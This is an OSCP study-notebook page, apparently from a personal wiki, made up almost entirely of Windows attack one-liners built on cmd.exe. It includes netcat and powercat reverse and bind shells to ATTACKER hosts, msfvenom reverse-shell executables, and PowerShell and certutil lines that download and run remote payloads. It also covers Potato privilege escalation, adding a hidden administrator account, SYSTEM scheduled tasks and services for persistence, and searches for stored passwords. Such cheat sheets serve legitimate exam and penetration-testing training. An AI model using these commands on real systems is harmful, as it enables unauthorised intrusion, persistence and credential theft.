Pearson's OSCP Notebook

cmd.exe - Shells and One-Liners

Properties1
tagscmd.exe, cmd, reverse-shell, bind-shell, windows, nc, msfvenom, one-liner, oscp

4 min read

cmd.exe — Shells & One-Liners

Ctrl+F: cmd.exe · /c · /k · -e cmd · reverse shell · cmd /c · quotes

cmd.exe is the Windows command interpreter. On OSCP you use it to run one-off commands, spawn reverse shells, and as the payload behind Potato tools, nc -e cmd, powercat, and Msfvenom Windows EXEs.

→ Shell · Netcat · powercat · Windows CMD - Powershell Commands

📌 /c vs /k vs bare cmd

SwitchBehaviorOSCP use
cmd /c "COMMAND"Run command, exit when doneOne-liners, Potato -cmd, schtasks
cmd /k "COMMAND"Run command, keep window openDebugging — rarely on exam
cmd.exeInteractive promptManual enum after landing shell
start cmdNew cmd windowGUI sessions
cmd /c whoami
cmd /c "net user hacker P@ssw0rd123! /add"
cmd /k whoami

/c is what you want for reverse shells and privesc one-shots.

📌 Quick reverse shell (nc on target)

Attacker:

rlwrap nc -lnvp 4444

Target — if nc.exe supports -e:

C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444
cmd /c "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

Via PowerShell invoking cmd:

powershell -ep bypass -c "C:/Windows/Temp/nc.exe 10.10.14.5 4444 -e cmd"
cmd /c "powershell -ep bypass -c \"C:/Windows/Temp/nc.exe 10.10.14.5 4444 -e cmd\""

→ certutil to upload nc.exe · File Transfer

📌 msfvenom EXE → cmd shell

Generate on Kali:

msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o rev.exe

Run on target:

C:\Windows\Temp\shell.exe
cmd /c C:\Windows\Temp\shell.exe
start /b C:\Windows\Temp\shell.exe

Payload spawns cmd.exe session back to your listener.

→ Msfvenom · Potato Attacks (run revshell as SYSTEM)

📌 powercat — cmd as shell binary

powercat -c ATTACKER -p 443 -e cmd

-e cmd tells powercat to run cmd.exe after connect — equivalent to nc -e cmd.

→ powercat

📌 Potato tools — always wrap with cmd /c

GodPotato, JuicyPotato, etc. expect a program + arguments:

.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "cmd /c cmd.exe"
.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\rev.exe"
 
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\nc.exe ATTACKER 4444 -e cmd" -t *
 
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "cmd /c whoami"
PatternMeaning
-p C:\Windows\System32\cmd.exeProgram = cmd
-a "/c COMMAND"Arguments passed to cmd
-cmd "cmd /c ..."GodPotato single string

→ Potato Attacks · PrintSpoofer

📌 Bind shell (target listens)

Target:

nc.exe -lvnp 4444 -e cmd.exe

Attacker connects:

nc TARGET 4444

Or powercat:

powercat -l -p 4444 -e cmd

📌 One-liner reverse shells (no EXE upload)

PowerShell from cmd:

cmd /c "powershell -nop -w hidden -c iex(iwr http://ATTACKER/shell.ps1 -UseBasicParsing)"

certutil + run:

certutil -urlcache -split -f http://ATTACKER/nc.exe C:\Temp\nc.exe
cmd /c "C:\Temp\nc.exe -e cmd ATTACKER 4444"

Encoded PowerShell (short):

cmd /c "powershell -ep bypass -enc BASE64_BLOB"

→ Base64 · Msfvenom -f hta / powershell_base64

📌 Scheduled tasks & services (cmd as payload)

schtasks /create /tn "Update" /tr "cmd /c C:\Windows\Temp\shell.exe" /sc minute /mo 1 /ru SYSTEM
schtasks /run /tn "Update"
 
sc create evil binPath= "cmd /c C:\Windows\Temp\rev.exe" start= demand

→ schtasks · Windows PrivEsc

📌 Quoting & escaping

Nested quotes break easily — match inner/outer style:

REM Outer double, inner as needed
cmd /c "net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"
 
REM Potato / JuicyPotato — escape inner quotes for PowerShell one-liner
.\GodPotato-NET4.exe -cmd "cmd /c powershell -c \"iex(iwr http://ATTACKER/s -UseBasicParsing)\""
 
REM Single-quoted path in PowerShell calling cmd
powershell -c 'cmd /c whoami'
ProblemFix
&& not working in PSUse cmd /c "cmd1 && cmd2"
Spaces in pathQuote full path: "C:\Program Files\..."
%VAR% in PSRun via cmd /c so cmd expands variables

📌 cmd vs PowerShell for shells

Use cmd.exe whenUse PowerShell when
nc -e cmd / -e cmdpowercat -ep
msfvenom shell_reverse_tcp defaultDownload with IWR / IEX
Potato -cmd "cmd /c ..."AD enum, PowerView
Simple whoami, net userFileless in-memory tools

Many Windows boxes still default to cmd for raw reverse shells; upgrade to PS after foothold if needed.

→ PowerShell Cmdlets

📌 Useful cmd one-liners (post-foothold)

whoami
whoami /priv
whoami /all
systeminfo
hostname
ipconfig /all
net user
net localgroup administrators
netstat -ano
tasklist
dir /s /b *.config
type C:\xampp\htdocs\config.php
findstr /s /i "password" C:\*.txt

→ net user · netstat · type

📌 Churrasco & legacy privesc

.\churrasco.exe -d "C:\Temp\nc.exe -e cmd.exe ATTACKER 443"

-d runs elevated command — here nc with cmd.exe as shell.

→ Churrasco

📌 Quick cheat sheet

# Kali listener
rlwrap nc -lnvp 4444
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o s.exe
cmd /c whoami
cmd /c "C:\Temp\nc.exe -e cmd ATTACKER 4444"
cmd /c C:\Temp\s.exe
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c cmd
powercat -c ATTACKER -p 4444 -e cmd

Graph View

Backlinks